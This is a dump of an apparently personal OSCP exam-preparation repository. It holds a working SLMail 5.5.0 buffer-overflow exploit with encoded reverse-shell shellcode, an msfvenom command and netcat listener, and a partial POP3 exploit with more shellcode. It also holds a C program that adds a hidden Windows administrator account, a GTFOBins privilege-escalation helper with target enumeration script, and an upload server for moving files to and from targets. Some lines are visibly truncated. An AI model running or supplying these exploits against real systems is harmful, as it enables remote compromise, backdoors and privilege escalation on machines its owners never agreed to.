18 | #bad char list \x00\x0A\x0D (cfr file 5)
19 | shellcode = ("\xdd\xc4\xbd\xaf\xc6\x0e\xd3\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
20 | "\x52\x83\xe8\xfc\x31\x68\x13\x03\xc7\xd5\xec\x26\xeb\x32\x72"
21 | "\xc8\x13\xc3\x13\x40\xf6\xf2\x13\x36\x73\xa4\xa3\x3c\xd1\x49"
22 | "\x4f\x10\xc1\xda\x3d\xbd\xe6\x6b\x8b\x9b\xc9\x6c\xa0\xd8\x48"
23 | "\xef\xbb\x0c\xaa\xce\x73\x41\xab\x17\x69\xa8\xf9\xc0\xe5\x1f"
24 | "\xed\x65\xb3\xa3\x86\x36\x55\xa4\x7b\x8e\x54\x85\x2a\x84\x0e"
25 | "\x05\xcd\x49\x3b\x0c\xd5\x8e\x06\xc6\x6e\x64\xfc\xd9\xa6\xb4"
26 | "\xfd\x76\x87\x78\x0c\x86\xc0\xbf\xef\xfd\x38\xbc\x92\x05\xff"
27 | "\xbe\x48\x83\x1b\x18\x1a\x33\xc7\x98\xcf\xa2\x8c\x97\xa4\xa1"
28 | "\xca\xbb\x3b\x65\x61\xc7\xb0\x88\xa5\x41\x82\xae\x61\x09\x50"
29 | "\xce\x30\xf7\x37\xef\x22\x58\xe7\x55\x29\x75\xfc\xe7\x70\x12"
30 | "\x31\xca\x8a\xe2\x5d\x5d\xf9\xd0\xc2\xf5\x95\x58\x8a\xd3\x62"
31 | "\x9e\xa1\xa4\xfc\x61\x4a\xd5\xd5\xa5\x1e\x85\x4d\x0f\x1f\x4e"
32 | "\x8d\xb0\xca\xc1\xdd\x1e\xa5\xa1\x8d\xde\x15\x4a\xc7\xd0\x4a"
33 | "\x6a\xe8\x3a\xe3\x01\x13\xad\xcc\x7e\x6e\xac\xa5\x7c\x90\xab"
34 | "\x0c\x08\x76\xd9\x7e\x5c\x21\x76\xe6\xc5\xb9\xe7\xe7\xd3\xc4"
35 | "\x28\x63\xd0\x39\xe6\x84\x9d\x29\x9f\x64\xe8\x13\x36\x7a\xc6"
36 | "\x3b\xd4\xe9\x8d\xbb\x93\x11\x1a\xec\xf4\xe4\x53\x78\xe9\x5f"
37 | "\xca\x9e\xf0\x06\x35\x1a\x2f\xfb\xb8\xa3\xa2\x47\x9f\xb3\x7a"
38 | "\x47\x9b\xe7\xd2\x1e\x75\x51\x95\xc8\x37\x0b\x4f\xa6\x91\xdb"
39 | "\x16\x84\x21\x9d\x16\xc1\xd7\x41\xa6\xbc\xa1\x7e\x07\x29\x26"
40 | "\x07\x75\xc9\xc9\xd2\x3d\xf9\x83\x7e\x17\x92\x4d\xeb\x25\xff"
41 | "\x6d\xc6\x6a\x06\xee\xe2\x12\xfd\xee\x87\x17\xb9\xa8\x74\x6a"
42 | "\xd2\x5c\x7a\xd9\xd3\x74")
43 |
44 | buffer = "A"*offset_eip
45 | buffer += struct.pack("ლ)"
58 |
59 | except:
60 | print "Could not connect to POP3! ¯\_(ツ)_/¯"
61 |
--------------------------------------------------------------------------------
/Exploits/SLmailExploit-Python.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #---------------------------------------------------------------------------------------------#
3 | # Software = SLMail 5.5.0 Server #
4 | # Download Link = http://downloads.informer.com/slmail/5.5/ #
5 | # Reference = https://www.exploit-db.com/exploits/638/ #
6 | # Date = 10/14/2018 #
7 | # Author = @TJ_Null #
8 | # Tested on = Windows 7 - Professional SP1 #
9 | # Windows XP - Professional SP3 #
10 | # Windows 8.1 - Enterprise #
11 | # EIP Offset = 2606 #
12 | # Badchars = "\x00\x0a\x0d" #
13 | # RET Address = 0x5f4a358f : "\xFF\xE4" | [SLMFC.DLL] #
14 | # Usage = python exploit.py #
15 | #---------------------------------------------------------------------------------------------#
16 |
17 | import sys
18 | import socket
19 | import time
20 | import struct
21 | import subprocess
22 |
23 |
24 | if len(sys.argv) < 2:
25 | print "Usage : python exploit.py "
26 | print "Example : python exploit.py 10.11.0.100"
27 | sys.exit(0)
28 |
29 | HOST = sys.argv[1]
30 |
31 |
32 | #----------------------------------------------------------------------------------------------------------------------------------------------------------------#
33 | # To replace shellcode use: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.117.132 LPORT=1337 -b "\x00\x0a\x0d" -f python -v payload -e x86/shikata_ga_nai #
34 | #----------------------------------------------------------------------------------------------------------------------------------------------------------------#
35 |
36 | payload = ""
37 | payload += "\xbf\xe4\x24\xa2\x95\xdb\xd5\xd9\x74\x24\xf4\x5d"
38 | payload += "\x31\xc9\xb1\x52\x83\xc5\x04\x31\x7d\x0e\x03\x99"
39 | payload += "\x2a\x40\x60\x9d\xdb\x06\x8b\x5d\x1c\x67\x05\xb8"
40 | payload += "\x2d\xa7\x71\xc9\x1e\x17\xf1\x9f\x92\xdc\x57\x0b"
41 | payload += "\x20\x90\x7f\x3c\x81\x1f\xa6\x73\x12\x33\x9a\x12"
42 | payload += "\x90\x4e\xcf\xf4\xa9\x80\x02\xf5\xee\xfd\xef\xa7"
43 | payload += "\xa7\x8a\x42\x57\xc3\xc7\x5e\xdc\x9f\xc6\xe6\x01"
44 | payload += "\x57\xe8\xc7\x94\xe3\xb3\xc7\x17\x27\xc8\x41\x0f"
45 | payload += "\x24\xf5\x18\xa4\x9e\x81\x9a\x6c\xef\x6a\x30\x51"
46 | payload += "\xdf\x98\x48\x96\xd8\x42\x3f\xee\x1a\xfe\x38\x35"
47 | payload += "\x60\x24\xcc\xad\xc2\xaf\x76\x09\xf2\x7c\xe0\xda"
48 | payload += "\xf8\xc9\x66\x84\x1c\xcf\xab\xbf\x19\x44\x4a\x6f"
49 | payload += "\xa8\x1e\x69\xab\xf0\xc5\x10\xea\x5c\xab\x2d\xec"
50 | payload += "\x3e\x14\x88\x67\xd2\x41\xa1\x2a\xbb\xa6\x88\xd4"
51 | payload += "\x3b\xa1\x9b\xa7\x09\x6e\x30\x2f\x22\xe7\x9e\xa8"
52 | payload += "\x45\xd2\x67\x26\xb8\xdd\x97\x6f\x7f\x89\xc7\x07"
53 | payload += "\x56\xb2\x83\xd7\x57\x67\x03\x87\xf7\xd8\xe4\x77"
54 | payload += "\xb8\x88\x8c\x9d\x37\xf6\xad\x9e\x9d\x9f\x44\x65"
55 | payload += "\x76\x60\x30\x10\x07\x08\x43\xda\x02\xf0\xca\x3c"
56 | payload += "\x66\x12\x9b\x97\x1f\x8b\x86\x63\x81\x54\x1d\x0e"
57 | payload += "\x81\xdf\x92\xef\x4c\x28\xde\xe3\x39\xd8\x95\x59"
58 | payload += "\xef\xe7\x03\xf5\x73\x75\xc8\x05\xfd\x66\x47\x52"
59 | payload += "\xaa\x59\x9e\x36\x46\xc3\x08\x24\x9b\x95\x73\xec"
60 | payload += "\x40\x66\x7d\xed\x05\xd2\x59\xfd\xd3\xdb\xe5\xa9"
61 | payload += "\x8b\x8d\xb3\x07\x6a\x64\x72\xf1\x24\xdb\xdc\x95"
62 | payload += "\xb1\x17\xdf\xe3\xbd\x7d\xa9\x0b\x0f\x28\xec\x34"
63 | payload += "\xa0\xbc\xf8\x4d\xdc\x5c\x06\x84\x64\x6c\x4d\x84"
64 | payload += "\xcd\xe5\x08\x5d\x4c\x68\xab\x88\x93\x95\x28\x38"
65 | payload += "\x6c\x62\x30\x49\x69\x2e\xf6\xa2\x03\x3f\x93\xc4"
66 | payload += "\xb0\x40\xb6"
67 |
68 |
69 |
70 |
71 |
72 | #----------------------------#
73 | # Buffer Structure #
74 | #----------------------------#
75 | # buffer = AAA...........AAA #
76 | # buffer = EIP #
77 | # buffer = NOPSled #
78 | # buffer = payload #
79 | # buffer = BBB...........BBB #
80 | #----------------------------#
81 |
82 |
83 | buffer = "A" * 2606
84 | buffer += struct.pack('"
101 | subprocess.call(['nc -lnvp 1337'], shell=True)
102 | except:
103 | print "Could not connect to SLMail 5.5.0 Server (-__-)"
104 |
105 |
--------------------------------------------------------------------------------
/Exploits/useradd.c:
--------------------------------------------------------------------------------
1 | #include /* system, NULL, EXIT_FAILURE */
2 |
3 | int main ()
4 | {
5 | int i;
6 | i=system ("net user ihack4falafel /add && net localgroup administrators TJnull /add");
7 | return 0;
8 | }
--------------------------------------------------------------------------------
/Priv-esc/Linux/README.md:
--------------------------------------------------------------------------------
1 | # GTFOPlus
2 |
3 | GTFOPlus is a helper script that relies on the GTFOBins repo to identify standard Linux binaries that could assist with privilege escalation.
4 |
5 | Deploy a gtfo.sh script to enumerate these binaries on your target machine.
6 |
7 | Example Usage:
8 |
9 | python3 gtfo.py -b awk -l shell | Spawning a shell with awk
10 | python3 gtfo.py -b awk -l all | Show all GTFO capabilities of awk
11 | python3 gtfo.py -b awk -l all --verbose | Increase verbosity + ascii art
12 |
13 | Using the gtfo.sh agent script:
14 |
15 | ./gtfo.sh > gtf.out | Run this on target machine.
16 | python3 gtfo.py -f gtf.out -l all | Show all capabilities for all
17 | | binaries gathered from gtfo.sh
18 | ## Setup
19 |
20 | In the same directory as that you cloned this repo, clone the GTFOBins Repo.
21 |
22 | git clone https://github.com/GTFOBins/GTFOBins.github.io.git
23 | python3 -m pip install -r requirements.txt
24 |
25 | ## Requirements
26 |
27 | python3
28 | pyyaml
29 |
30 | TODO:
31 |
32 | * Make gtf.out parser better. (Add parser for groups, perms, ownership etc.)
33 | * Pull GTFO bin capabilities from the repo as well.
34 |
--------------------------------------------------------------------------------
/Priv-esc/Linux/gtfo.py:
--------------------------------------------------------------------------------
1 | import argparse, os, sys, textwrap, yaml
2 | splash = """
3 | ▄▄▄▄▄▄▄ ▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄ ▄ ▄▄▄▄ ▄ ▄▄▄▄▄▄▄
4 | ▄ ▄▄ ░ ▀▀ ██▄▄▄▄ ▄▄ ░ ▄▄ ██ ▄▄ ██ ██ ▄▄ ██ ▄▄ ░ ▀▀ ▄
5 | ▀▀▀█ ██ ▀▀██ ██ ▒ ▄▄ ██▀▀ ██ ▒ ██ ██ ▀▀▀ ██ ▒ ██ ██ ▒ ██ ▀▀▀▀▀██ █▀▀▀
6 | ██▄▄▄█ ▄██▄▄▄██ ██ ░ ▀█▄▄▄█▀ ██ ░ ▄▄▄▄▄██ ▀█▄▄▄█▀ ██▄▄▄█▀ v0.1
7 | """
8 | parser = argparse.ArgumentParser(description='GTFO+')
9 | parser.add_argument('-b', dest='bin',help='GTFO Bin')
10 | parser.add_argument('-l', dest='list',help='Capabilities to List')
11 | parser.add_argument('-f', dest='file',help='Read bins from file')
12 | parser.add_argument("--quiet", dest='quiet',help="Decreate Output Verbosity",action="store_true")
13 | parser.add_argument("--verbose", dest='verbose',help="increase output verbosity",action="store_true")
14 | args = parser.parse_args()
15 | binName = args.bin
16 | listWhat = args.list
17 | infile = args.file
18 | quietout = args.quiet
19 | verbose = args.verbose
20 |
21 | usage = """
22 | gtfo.py is a helper for identifying standard Linux binaries that could assist
23 | with privilege escalation.
24 | Deploy a gtfo.sh script to enumerate these binaries on your target machine.
25 |
26 | Example Usage:
27 |
28 | python3 gtfo.py -b awk -l shell | Spawning a shell with awk
29 | python3 gtfo.py -b awk -l all | Show all GTFO capabilities of awk
30 | python3 gtfo.py -b awk -l all --verbose | Increase verbosity + ascii art
31 | python3 gtfo.py -f gtf.out -l all | Show all capabilities for all
32 | | binaries gathered from gtfo.sh
33 | """
34 |
35 | gtfoPath = 'GTFOBins.github.io/_gtfobins/'
36 |
37 | listCommands = [ "all","bind-shell","capabilities","command","file-download","file-read","file-upload","file-write","library-load","limited-suid","non-interactive-bind-shell","non-interactive-reverse-shell","reverse-shell","shell","sudo","suid" ]
38 |
39 | def loadBin(binFile):
40 | with open(binFile,'r') as stream:
41 | try:
42 | cleaned = stream.readlines()
43 | cleaned = cleaned[:-1]
44 | cleaned = ''.join(cleaned)
45 | data = yaml.load(cleaned)
46 | except yaml.YAMLError as exc:
47 | print(exc)
48 | return data
49 |
50 | gtfoInfo = {
51 | "bind-shell": {
52 | "name": "Bind shell",
53 | "desc": "It can bind a shell to a local port to allow remote network access."
54 | },
55 | "capabilities": {
56 | "name": "Capabilities",
57 | "desc": "It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set."
58 | },
59 | "command": {
60 | "name": "Command",
61 | "desc": "It can be used to break out from restricted environments by running non-interactive system commands."
62 | },
63 | "file-download": {
64 | "name": "File download",
65 | "desc": "It can download remote files."
66 | },
67 | "file-read": {
68 | "name":"File read",
69 | "desc":"It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system."
70 | },
71 | "file-upload": {
72 | "name": "File upload",
73 | "desc": "It can exfiltrate files on the network."
74 | },
75 | "file-write": {
76 | "name": "File write",
77 | "desc": "It writes data to files, it may be used to do privileged writes or write files outside a restricted file system."
78 | },
79 | "library-load": {
80 | "name": "Library load",
81 | "desc": "It loads shared libraries that may be used to run code in the binary execution context."
82 | },
83 | "limited-suid": {
84 | "name": "Limited SUID",
85 | "desc": "It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges."
86 | },
87 | "non-interactive-bind-shell": {
88 | "name": "Non-interactive bind shell",
89 | "desc": "It can bind a non-interactive shell to a local port to allow remote network access."
90 | },
91 | "non-interactive-reverse-shell": {
92 | "name": "Non-interactive reverse shell",
93 | "desc": "It can send back a non-interactive reverse shell to a listening attacker to open a remote network access."
94 | },
95 | "reverse-shell": {
96 | "name": "Reverse shell",
97 | "desc": "It can send back a reverse shell to a listening attacker to open a remote network access."
98 | },
99 | "shell": {
100 | "name": "Shell",
101 | "desc": "It can be used to break out from restricted environments by spawning an interactive system shell."
102 | },
103 | "sudo": {
104 | "name": "Sudo",
105 | "desc": "It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo."
106 | },
107 | "suid": {
108 | "name": "SUID",
109 | "desc": "It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges."
110 | }
111 | }
112 |
113 | print(splash)
114 |
115 | def getBinInfo(qBin):
116 | binTitle = "───[ {} ]".format(binName)
117 | titleFill = "─"*(80-(len(binName)+7))
118 | print(binTitle+titleFill)
119 | try:
120 | print(" "+"\n".join(textwrap.wrap(qBin["description"], 75)))
121 | except KeyError:
122 | print(" ")
123 | binProp = qBin["functions"]
124 | if listWhat == "all":
125 | for gbin in binProp:
126 | gtfoDesc = gtfoInfo[gbin]["desc"] # from local
127 | binCMD = binProp[gbin][0]["code"].split("\n") # from file
128 | print("┌─ {}".format(gbin))
129 | print("│ "+"\n│ ".join(textwrap.wrap(gtfoDesc, 75)))
130 | print("└─ Usage:\n")
131 | for cmd in binCMD:
132 | if cmd == "":
133 | pass
134 | else:
135 | print(" {}".format(cmd))
136 | print(" ")
137 | else:
138 | gbin = listWhat
139 | try:
140 | gtfoDesc = gtfoInfo[gbin]["desc"] #from local
141 | binCMD = binProp[gbin][0]["code"].split("\n") # from file
142 | print("┌─ {}".format(gbin)) # was gtfoName
143 | print("│ "+"\n│ ".join(textwrap.wrap(gtfoDesc, 75)))
144 | print("└─ Usage:\n")
145 | for cmd in binCMD:
146 | if cmd == "":
147 | pass
148 | else:
149 | print(" {}".format(cmd))
150 | print(" ")
151 | except:
152 | pass
153 |
154 | def quietBinInfo(qBin):
155 | padding = " "*(round((80-len(binName)))) # To right align bin names
156 | print("{}{}".format(padding,binName)) # that makes it easier to
157 | print("{}{}".format(padding,'-'*len(binName))) # read :)
158 | binProp = qBin["functions"]
159 | if listWhat == "all":
160 | for gbin in binProp:
161 | binCMD = binProp[gbin][0]["code"].split("\n")
162 | print("[{}]".format(gbin))
163 | for cmd in binCMD:
164 | if cmd == "":
165 | pass
166 | else:
167 | print(" {}".format(cmd))
168 | print(" ")
169 | else:
170 | gbin = listWhat
171 | try:
172 | binCMD = binProp[gbin][0]["code"].split("\n")
173 | print("[{}]".format(gbin))
174 | for cmd in binCMD:
175 | if cmd == "":
176 | pass
177 | else:
178 | print(" {}".format(cmd))
179 | print(" ")
180 | except:
181 | pass
182 |
183 | def getAvailableBins():
184 | filez = os.listdir(gtfoPath)
185 | availableBins = []
186 | for f in filez:
187 | if f[0] == ".":
188 | pass
189 | else:
190 | bb = f.split(".md")[0]
191 | availableBins.append(bb)
192 | return availableBins
193 |
194 | def parseInfile(inputFile):
195 | with open(inputFile) as f:
196 | binz = []
197 | binListing = f.readlines()
198 | for b in binListing: # clean this ish up
199 | b = b.split(" ")
200 | p = b[-1:] # Skipping over groups for now
201 | p = p[0].split("\n")[0]
202 | p = p.split("/")[-1:]
203 | binz.append(p[0])
204 | return binz
205 |
206 | def showCapabilities():
207 | for i in range(0,len(listCommands)):
208 | print(" " + listCommands[i])
209 |
210 | # Main functionality
211 | try:
212 | # IF we are processing a gtfo.sh agent output
213 | if infile:
214 | binz = parseInfile(infile) # Should create an object of the bins in the file output
215 | binsAvailable = getAvailableBins()
216 | print("[!] Listing {} GTFO capabilities for {}\n".format(listWhat,infile))
217 | for b in binz:
218 | if b in binsAvailable:
219 | binArg = b
220 | binName = b
221 | binSelect = gtfoPath+binArg+".md"
222 | binInfo = loadBin(binSelect)
223 | if verbose:
224 | getBinInfo(binInfo)
225 | else:
226 | quietBinInfo(binInfo)
227 | # Otherwise we are processing a single binary
228 | else:
229 | if listWhat not in listCommands:
230 | exit()
231 | binArg = binName
232 | binSelect = gtfoPath+binArg+".md"
233 | binInfo = loadBin(binSelect)
234 | print("[!] Listing {} GTFO capabilities for {}\n".format(listWhat,binArg))
235 | if verbose:
236 | getBinInfo(binInfo)
237 | else:
238 | quietBinInfo(binInfo)
239 | except:
240 | print(usage)
241 | binsAvailable = getAvailableBins()
242 | print("[Available Binaries] Specify with the -b flag")
243 | for b in binsAvailable:
244 | if b == binsAvailable[-1]:
245 | print(b)
246 | else:
247 | print(b,end=', ')
248 | print("\n[Available Capabilities] Specify with the -l flag")
249 | showCapabilities()
--------------------------------------------------------------------------------
/Priv-esc/Linux/gtfo.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | groups
3 | bins=("apt-get" "apt" "aria2c" "ash" "awk" "base64" "bash" "busybox" "cat" "chmod" "chown" "cp" "cpulimit" "crontab" "csh" "curl" "cut" "dash" "date" "dd" "diff" "docker" "easy_install" "ed" "emacs" "env" "expand" "expect" "facter" "find" "finger" "flock" "fmt" "fold" "ftp" "gdb" "git" "grep" "head" "ionice" "jjs" "journalctl" "jq" "jrunscript" "ksh" "ld.so" "less" "ltrace" "lua" "mail" "make" "man" "more" "mount" "mv" "mysql" "nano" "nc" "nice" "nl" "nmap" "node" "od" "perl" "pg" "php" "pico" "pip" "puppet" "python" "red" "rlwrap" "rpm" "rpmquery" "rsync" "ruby" "scp" "sed" "setarch" "sftp" "shuf" "smbclient" "socat" "sort" "sqlite3" "ssh" "stdbuf" "strace" "tail" "tar" "taskset" "tclsh" "tcpdump" "tee" "telnet" "tftp" "time" "timeout" "ul" "unexpand" "uniq" "unshare" "vi" "vim" "watch" "wget" "whois" "wish" "xargs" "xxd" "zip" "zsh")
4 | for i in "${bins[@]}"
5 | do
6 | if which $i > /dev/null; then
7 | ls -lah $(which $i)
8 | fi
9 | done
10 |
--------------------------------------------------------------------------------
/Priv-esc/Linux/requirements.txt:
--------------------------------------------------------------------------------
1 | pyyaml
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # OSCP-Stuff
2 | List of Stuff I did to get through the OSCP :D
3 |
--------------------------------------------------------------------------------
/Transferring-Files/HTTPServerWithUpload.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """Simple HTTP Server With Upload Capabilities.
4 |
5 | Arguments:
6 | python3 HTTPServerWithUpload.py -p 80
7 | python3 HTTPServerWithUpload.py --port 80
8 |
9 | """
10 |
11 | __version__ = "1.0"
12 | __all__ = ["SimpleHTTPRequestHandler"]
13 | __author__ = "TJ Null"
14 | # Credits to bones7456 for writing the orginal script: https://github.com/bones7456/bones7456/blob/master/SimpleHTTPServerWithUpload.py
15 |
16 | # References:
17 | # https://docs.python.org/3/library/http.server.html
18 | # https://github.com/python/cpython/blob/3.9/Lib/http/server.py#L1233
19 |
20 |
21 | import os
22 | import posixpath
23 | import http.server
24 | import urllib.request, urllib.parse, urllib.error
25 | import html
26 | import shutil
27 | import mimetypes
28 | import re
29 | import argparse
30 | from io import BytesIO
31 |
32 |
33 | class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
34 |
35 | """Simple HTTP request handler with GET/HEAD/POST commands.
36 |
37 | This serves files from the current directory and any of its
38 | subdirectories. The MIME type for files is determined by
39 | calling the .guess_type() method. And can reveive file uploaded
40 | by client.
41 |
42 | The GET/HEAD/POST requests are identical except that the HEAD
43 | request omits the actual contents of the file.
44 |
45 | """
46 |
47 | server_version = "SimpleHTTPWithUpload/" + __version__
48 |
49 | def do_GET(self):
50 | """Serve a GET request."""
51 | f = self.send_head()
52 | if f:
53 | self.copyfile(f, self.wfile)
54 | f.close()
55 |
56 | def do_HEAD(self):
57 | """Serve a HEAD request."""
58 | f = self.send_head()
59 | if f:
60 | f.close()
61 |
62 | def do_POST(self):
63 | """Serve a POST request."""
64 | r, info = self.deal_post_data()
65 | print((r, info, "by: ", self.client_address))
66 | f = BytesIO()
67 | f.write(b'')
68 | f.write(b"\nUpload Result Page\n")
69 | f.write(b"\nUpload Result Page
\n")
70 | f.write(b"
\n")
71 | if r:
72 | f.write(b"Success:")
73 | else:
74 | f.write(b"Failed:")
75 | f.write(info.encode())
76 | f.write(("
back" % self.headers['referer']).encode())
77 | length = f.tell()
78 | f.seek(0)
79 | self.send_response(200)
80 | self.send_header("Content-type", "text/html")
81 | self.send_header("Content-Length", str(length))
82 | self.end_headers()
83 | if f:
84 | self.copyfile(f, self.wfile)
85 | f.close()
86 |
87 | def deal_post_data(self):
88 | content_type = self.headers['content-type']
89 | if not content_type:
90 | return (False, "Content-Type header doesn't contain boundary")
91 | boundary = content_type.split("=")[1].encode()
92 | remainbytes = int(self.headers['content-length'])
93 | line = self.rfile.readline()
94 | remainbytes -= len(line)
95 | if not boundary in line:
96 | return (False, "Content NOT begin with boundary")
97 | line = self.rfile.readline()
98 | remainbytes -= len(line)
99 | fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line.decode())
100 | if not fn:
101 | return (False, "Can't find out file name...")
102 | path = self.translate_path(self.path)
103 | fn = os.path.join(path, fn[0])
104 | line = self.rfile.readline()
105 | remainbytes -= len(line)
106 | line = self.rfile.readline()
107 | remainbytes -= len(line)
108 | try:
109 | out = open(fn, 'wb')
110 | except IOError:
111 | return (False, "Can't create file to write, do you have permission to write?")
112 |
113 | preline = self.rfile.readline()
114 | remainbytes -= len(preline)
115 | while remainbytes > 0:
116 | line = self.rfile.readline()
117 | remainbytes -= len(line)
118 | if boundary in line:
119 | preline = preline[0:-1]
120 | if preline.endswith(b'\r'):
121 | preline = preline[0:-1]
122 | out.write(preline)
123 | out.close()
124 | return (True, "File '%s' upload success!" % fn)
125 | else:
126 | out.write(preline)
127 | preline = line
128 | return (False, "Unexpect Ends of data.")
129 |
130 | def send_head(self):
131 | """Common code for GET and HEAD commands.
132 |
133 | This sends the response code and MIME headers.
134 |
135 | Return value is either a file object (which has to be copied
136 | to the outputfile by the caller unless the command was HEAD,
137 | and must be closed by the caller under all circumstances), or
138 | None, in which case the caller has nothing further to do.
139 |
140 | """
141 | path = self.translate_path(self.path)
142 | f = None
143 | if os.path.isdir(path):
144 | if not self.path.endswith('/'):
145 | # redirect browser - doing basically what apache does
146 | self.send_response(301)
147 | self.send_header("Location", self.path + "/")
148 | self.end_headers()
149 | return None
150 | for index in "index.html", "index.htm":
151 | index = os.path.join(path, index)
152 | if os.path.exists(index):
153 | path = index
154 | break
155 | else:
156 | return self.list_directory(path)
157 | ctype = self.guess_type(path)
158 | try:
159 | # Always read in binary mode. Opening files in text mode may cause
160 | # newline translations, making the actual size of the content
161 | # transmitted *less* than the content-length!
162 | f = open(path, 'rb')
163 | except IOError:
164 | self.send_error(404, "File not found")
165 | return None
166 | self.send_response(200)
167 | self.send_header("Content-type", ctype)
168 | fs = os.fstat(f.fileno())
169 | self.send_header("Content-Length", str(fs[6]))
170 | self.send_header("Last-Modified", self.date_time_string(fs.st_mtime))
171 | self.end_headers()
172 | return f
173 |
174 | def list_directory(self, path):
175 | """Helper to produce a directory listing (absent index.html).
176 |
177 | Return value is either a file object, or None (indicating an
178 | error). In either case, the headers are sent, making the
179 | interface the same as for send_head().
180 |
181 | """
182 | try:
183 | list = os.listdir(path)
184 | except os.error:
185 | self.send_error(404, "No permission to list directory")
186 | return None
187 | list.sort(key=lambda a: a.lower())
188 | f = BytesIO()
189 | displaypath = html.escape(urllib.parse.unquote(self.path))
190 | f.write(b'')
191 | f.write(("\nDirectory listing for %s\n" % displaypath).encode())
192 | f.write(("\nDirectory listing for %s
\n" % displaypath).encode())
193 | f.write(b"
\n")
194 | f.write(b"\n")
197 | f.write(b"
\n\n")
198 | for name in list:
199 | fullname = os.path.join(path, name)
200 | displayname = linkname = name
201 | # Append / for directories or @ for symbolic links
202 | if os.path.isdir(fullname):
203 | displayname = name + "/"
204 | linkname = name + "/"
205 | if os.path.islink(fullname):
206 | displayname = name + "@"
207 | # Note: a link to a directory displays with @ and links with /
208 | f.write(('- %s\n'
209 | % (urllib.parse.quote(linkname), html.escape(displayname))).encode())
210 | f.write(b"
\n
\n\n\n")
211 | length = f.tell()
212 | f.seek(0)
213 | self.send_response(200)
214 | self.send_header("Content-type", "text/html")
215 | self.send_header("Content-Length", str(length))
216 | self.end_headers()
217 | return f
218 |
219 | def translate_path(self, path):
220 | """Translate a /-separated PATH to the local filename syntax.
221 |
222 | Components that mean special things to the local file system
223 | (e.g. drive or directory names) are ignored. (XXX They should
224 | probably be diagnosed.)
225 |
226 | """
227 | # abandon query parameters
228 | path = path.split('?',1)[0]
229 | path = path.split('#',1)[0]
230 | path = posixpath.normpath(urllib.parse.unquote(path))
231 | words = path.split('/')
232 | words = [_f for _f in words if _f]
233 | path = os.getcwd()
234 | for word in words:
235 | drive, word = os.path.splitdrive(word)
236 | head, word = os.path.split(word)
237 | if word in (os.curdir, os.pardir): continue
238 | path = os.path.join(path, word)
239 | return path
240 |
241 | def copyfile(self, source, outputfile):
242 | """Copy all data between two file objects.
243 |
244 | The SOURCE argument is a file object open for reading
245 | (or anything with a read() method) and the DESTINATION
246 | argument is a file object open for writing (or
247 | anything with a write() method).
248 |
249 | The only reason for overriding this would be to change
250 | the block size or perhaps to replace newlines by CRLF
251 | -- note however that this the default server uses this
252 | to copy binary data as well.
253 |
254 | """
255 | shutil.copyfileobj(source, outputfile)
256 |
257 | def guess_type(self, path):
258 | """Guess the type of a file.
259 |
260 | Argument is a PATH (a filename).
261 |
262 | Return value is a string of the form type/subtype,
263 | usable for a MIME Content-type header.
264 |
265 | The default implementation looks the file's extension
266 | up in the table self.extensions_map, using application/octet-stream
267 | as a default; however it would be permissible (if
268 | slow) to look inside the data to make a better guess.
269 |
270 | """
271 |
272 | base, ext = posixpath.splitext(path)
273 | if ext in self.extensions_map:
274 | return self.extensions_map[ext]
275 | ext = ext.lower()
276 | if ext in self.extensions_map:
277 | return self.extensions_map[ext]
278 | else:
279 | return self.extensions_map['']
280 |
281 | if not mimetypes.inited:
282 | mimetypes.init() # try to read system mime.types
283 | extensions_map = mimetypes.types_map.copy()
284 | extensions_map.update({
285 | '': 'application/octet-stream', # Default
286 | '.py': 'text/plain',
287 | '.c': 'text/plain',
288 | '.h': 'text/plain',
289 | })
290 |
291 |
292 | def test(HandlerClass = SimpleHTTPRequestHandler,
293 | ServerClass = http.server.HTTPServer, port: int = 8000):
294 | http.server.test(HandlerClass, ServerClass, port=port)
295 |
296 | if __name__ == '__main__':
297 | parser = argparse.ArgumentParser()
298 | parser.add_argument("-p", "--port", type=int, default=8000)
299 | args = parser.parse_args()
300 | test(port=args.port)
301 |
--------------------------------------------------------------------------------